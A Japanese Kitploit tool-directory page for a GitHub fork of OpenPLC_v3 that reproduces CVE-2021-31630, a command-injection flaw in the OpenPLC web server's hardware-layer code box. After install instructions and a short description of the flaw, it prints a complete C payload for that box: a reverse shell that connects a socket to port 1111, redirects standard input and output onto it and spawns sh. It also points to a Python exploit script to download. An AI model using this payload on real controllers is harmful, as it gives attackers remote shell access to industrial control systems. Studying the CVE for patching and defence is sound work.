Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
OpenPLC_v3 — CVE-2021-31630 を再現するには | Kitploit
ツール/GitHubGitHub/tranquac/openplc_v3
脆弱性分析コード分析エクスプロイトSCADA/ICSセキュリティウェブアプリケーション悪用コマンド&コントロール
GitHubtranquac/openplc_v3

OpenPLC_v3

CVE-2021-31630 を再現するには

リポジトリを見る
9ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

OpenPLC Runtime バージョン 3

はじめに

Build Status Build status

OpenPLC は、使いやすいソフトウェアベースのオープンソースのプログラマブルロジックコントローラです。私たちは、自動化と研究のための低コストな産業用ソリューションを提供することに重点を置いています。OpenPLC は、産業サイバーセキュリティ研究のフレームワークとして多くの研究論文で使用されてきました。これは、完全なソースコードを提供する唯一のコントローラだからです。OpenPLC プロジェクトは、次の3つのサブプロジェクトで構成されています。

  1. Runtime
  2. Programming editor
  3. HMI builder

インストール

root@kitploit:~
mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]

[platform] には以下の値を指定できます:

win - Cygwin 経由で Windows に OpenPLC をインストール

linux - Debian ベースの Linux ディストリビューションに OpenPLC をインストール

docker - Dockerfile によって使用されます(つまり sudo を呼び出しません)

rpi - Raspberry Pi に OpenPLC をインストール

custom - 特定のパッケージインストールをすべてスキップし、システムにすべての依存関係がすでに満たされていると仮定して OpenPLC のインストールを試みます。このオプションは、サポートされていない Linux プラットフォームに OpenPLC をインストールしようとしている場合や、依存パッケージをすべて手動でインストールしている場合に役立ちます。

CVE-2021-31630

CVE-2021-31630 は、OpenPLC の WebServer(コミュニティで広く使用されている v3 バージョン)における コード/コマンドインジェクション 型の脆弱性です。この脆弱性は、/hardware インターフェース(Hardware Layer Code Box)でコードをロード/編集できる機能に存在し、入力データがサーバー層で処理される前に十分にフィルタリング/サニタイズされないため、ウェブサーバープロセスの権限でコードが実行される可能性があります。この脆弱性は2021年に公開され、公開脆弱性データベースでは深刻度が高いとされています。

技術的説明(防御可能なレベル): Web インターフェースは、ユーザーが入力した「ハードウェアレイヤーコード」の断片を受け入れます。このデータはその後、検証や特殊文字のフィルタリング、厳密な制約を行うことなく、コンパイル/正規化あるいはコマンドコンテキストへの組み込みが可能なサーバーコンポーネントによって処理されます。特定の条件下(たとえば、データがシステムコマンド文字列に連結されたり、コード処理関数に直接渡されたりする場合)では、攻撃者は実行フローを変更する制御断片を挿入できます。

root@kitploit:~
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};

void initCustomLayer(){}

void updateCustomIn(){}

void updateCustomOut()
{
    int port = 1111;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execvp("sh", argv);

    return 0;       
}

エクスプロイトコード: cve-2021-31630.py

ツールをダウンロード